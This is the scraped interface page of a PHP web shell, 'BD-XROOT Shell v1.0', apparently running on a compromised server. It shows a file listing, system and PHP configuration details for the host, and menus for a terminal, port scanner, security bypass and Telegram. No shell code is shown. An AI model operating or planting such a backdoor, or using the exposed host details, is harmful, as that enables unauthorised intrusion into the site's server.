BD-XROOT Shell v1.0

OS: Linux 5.15.0-46-generic #49-Ubuntu SMP Thu Aug 4 18:03:25 UTC 2022 PHP: 7.4.33 Server: Apache User: www IP: 127.0.0.1
?? File Manager
?? Terminal
?? System Info
??? Database
?? Network
?? Bypass
Name Type Size Permissions Modified Actions
?? Parent Directory
?? Files
?? 5bc3de62f1115.jpg JPG 152.6 KB rwxrwxrwx 2026-04-13 18:47
?? 5bc3df03cb30f.jpg JPG 152.6 KB rwxrwxrwx 2026-04-13 18:47
?? 5bc3dfb4b7140.jpg JPG 152.6 KB rwxrwxrwx 2026-04-13 18:47
?? 5bc3e052113c7.jpg JPG 152.6 KB rwxrwxrwx 2026-04-13 18:47
?? 5bc3e06493595.jpg JPG 100 KB rwxrwxrwx 2026-04-13 18:47
?? 5bc3e107c460f.jpg JPG 116.2 KB rwxrwxrwx 2026-04-13 18:47
?? 5bc6ff57aacc3.jpg JPG 94.3 KB rwxrwxrwx 2026-04-13 18:47
?? 5bc6ff287feaf.jpg JPG 94.3 KB rwxrwxrwx 2026-04-13 18:47
?? 5bc401bbb9291.jpg JPG 152.6 KB rwxrwxrwx 2026-04-13 18:47
?? 5bc73352d0d01.jpg JPG 9.4 KB rwxrwxrwx 2026-04-13 18:47
?? 010119 09-23-50.png PNG 192.3 KB rwxrwxrwx 2026-04-13 18:47
?? 010119 16-39-23.png PNG 105.7 KB rwxrwxrwx 2026-04-13 18:47
?? 010119 16-45-17.png PNG 139.5 KB rwxrwxrwx 2026-04-13 18:47
?? 010119 23-03-53.jpg JPG 99.3 KB rwxrwxrwx 2026-04-13 18:47
?? 010119 23-26-00.png PNG 195.6 KB rwxrwxrwx 2026-04-13 18:47
?? 020119 11-19-13.jpg JPG 17.4 KB rwxrwxrwx 2026-04-13 18:47
?? 020119 13-52-07.jpg JPG 28.5 KB rwxrwxrwx 2026-04-13 18:47
?? 020119 18-41-09.png PNG 69.6 KB rwxrwxrwx 2026-04-13 18:47
?? 020119 23-07-28.png PNG 178.1 KB rwxrwxrwx 2026-04-13 18:47
?? 020119 23-58-33.jpg JPG 159.8 KB rwxrwxrwx 2026-04-13 18:47
?? 030119 06-18-02.jpg JPG 96.9 KB rwxrwxrwx 2026-04-13 18:47
?? 030119 13-08-00.png PNG 153.3 KB rwxrwxrwx 2026-04-13 18:47
?? 031118 07-12-32.jpg JPG 38.1 KB rwxrwxrwx 2026-04-13 18:47
?? 040119 04-30-47.png PNG 106.9 KB rwxrwxrwx 2026-04-13 18:47
?? 040119 05-56-18.jpg JPG 50.7 KB rwxrwxrwx 2026-04-13 18:47
?? 040119 08-14-57.png PNG 108 KB rwxrwxrwx 2026-04-13 18:47
?? 041118 01-23-53.jpg JPG 9.4 KB rwxrwxrwx 2026-04-13 18:47
?? 041118 01-52-11.jpg JPG 49.8 KB rwxrwxrwx 2026-04-13 18:47
?? 171018 16-06-36.jpeg JPEG 34.4 KB rwxrwxrwx 2026-04-13 18:47
?? 171018 16-53-32.jpeg JPEG 34.4 KB rwxrwxrwx 2026-04-13 18:47
?? 191218 04-30-10.jpg JPG 49.1 KB rwxrwxrwx 2026-04-13 18:47
?? 191218 12-10-59.jpg JPG 126.9 KB rwxrwxrwx 2026-04-13 18:47
?? 191218 12-28-38.png PNG 192.9 KB rwxrwxrwx 2026-04-13 18:47
?? 211218 13-53-37.png PNG 141.9 KB rwxrwxrwx 2026-04-13 18:47
?? 221218 11-03-14.png PNG 108.2 KB rwxrwxrwx 2026-04-13 18:47
?? 231218 14-14-55.png PNG 191.9 KB rwxrwxrwx 2026-04-13 18:47
?? 231218 14-57-27.png PNG 197.4 KB rwxrwxrwx 2026-04-13 18:47
?? 251218 02-44-45.jpeg JPEG 740.3 KB rwxrwxrwx 2026-04-13 18:47
?? 251218 08-19-33.jpg JPG 664.3 KB rwxrwxrwx 2026-04-13 18:47
?? 251218 15-42-04.png PNG 81.1 KB rwxrwxrwx 2026-04-13 18:47
?? 261218 00-34-02.jpg JPG 13.5 KB rwxrwxrwx 2026-04-13 18:47
?? 261218 01-04-36.png PNG 107.8 KB rwxrwxrwx 2026-04-13 18:47
?? 261218 04-15-32.jpg JPG 53.6 KB rwxrwxrwx 2026-04-13 18:47
?? 261218 10-40-57.jpg JPG 128.1 KB rwxrwxrwx 2026-04-13 18:47
?? 261218 13-25-28.jpg JPG 29.1 KB rwxrwxrwx 2026-04-13 18:47
?? 271218 04-16-22.png PNG 172.6 KB rwxrwxrwx 2026-04-13 18:47
?? 271218 10-01-35.png PNG 192.2 KB rwxrwxrwx 2026-04-13 18:47
?? 281218 01-16-05.jpg JPG 8 KB rwxrwxrwx 2026-04-13 18:47
?? 281218 01-21-51.jpg JPG 679.3 KB rwxrwxrwx 2026-04-13 18:47
?? 281218 01-46-00.png PNG 113.2 KB rwxrwxrwx 2026-04-13 18:47
?? 281218 04-16-44.jpg JPG 591.5 KB rwxrwxrwx 2026-04-13 18:47
?? 281218 13-07-06.png PNG 100.2 KB rwxrwxrwx 2026-04-13 18:47
?? 281218 14-12-22.png PNG 141.6 KB rwxrwxrwx 2026-04-13 18:47
?? 281218 16-06-18.jpg JPG 70.5 KB rwxrwxrwx 2026-04-13 18:47
?? 281218 17-47-52.png PNG 105.8 KB rwxrwxrwx 2026-04-13 18:47
?? 281218 22-52-41.jpg JPG 78.6 KB rwxrwxrwx 2026-04-13 18:47
?? 291218 00-21-39.jpg JPG 17.2 KB rwxrwxrwx 2026-04-13 18:47
?? 291218 07-55-22.png PNG 164.1 KB rwxrwxrwx 2026-04-13 18:47
?? 291218 10-53-08.jpg JPG 38 KB rwxrwxrwx 2026-04-13 18:47
?? 291218 11-58-03.jpg JPG 555.6 KB rwxrwxrwx 2026-04-13 18:47
?? 301218 14-38-30.png PNG 191.3 KB rwxrwxrwx 2026-04-13 18:47
?? 301218 14-57-29.jpg JPG 471.9 KB rwxrwxrwx 2026-04-13 18:47
?? 301218 23-51-05.jpg JPG 854.9 KB rwxrwxrwx 2026-04-13 18:47
?? 301218 23-58-23.jpg JPG 810 KB rwxrwxrwx 2026-04-13 18:47
?? 311218 06-58-40.png PNG 300.4 KB rwxrwxrwx 2026-04-13 18:47
?? 311218 07-22-45.jpg JPG 273.8 KB rwxrwxrwx 2026-04-13 18:47
?? 311218 07-23-35.jpg JPG 301.5 KB rwxrwxrwx 2026-04-13 18:47
?? 311218 12-08-54.jpg JPG 130.9 KB rwxrwxrwx 2026-04-13 18:47
?? 311218 15-04-03.jpg JPG 68.6 KB rwxrwxrwx 2026-04-13 18:47
?? New Text Document.txt TXT 0 B rwxrwxrwx 2026-04-13 15:33

??? System Information

Operating System Linux 5.15.0-46-generic #49-Ubuntu SMP Thu Aug 4 18:03:25 UTC 2022
Hostname server.solverra.com
User www
Server IP 127.0.0.1
Server Port 443

?? PHP Configuration

PHP Version 7.4.33
Server Software Apache
Safe Mode Off
Open Basedir None
Disabled Functions passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

?? Disk Usage

Total Space 147.55 GB
Used Space 61.32 GB
Free Space 86.22 GB
Usage 41.6%

?? PHP Limits

Memory Limit -1
Max Execution Time 0s
Upload Max Filesize 50M
Post Max Size 256M

?? Extensions

MySQL Available
cURL 7.70.0
Allow URL Fopen On
Allow URL Include Off

Database Connection

Port Scanner

Security Bypass

Telegram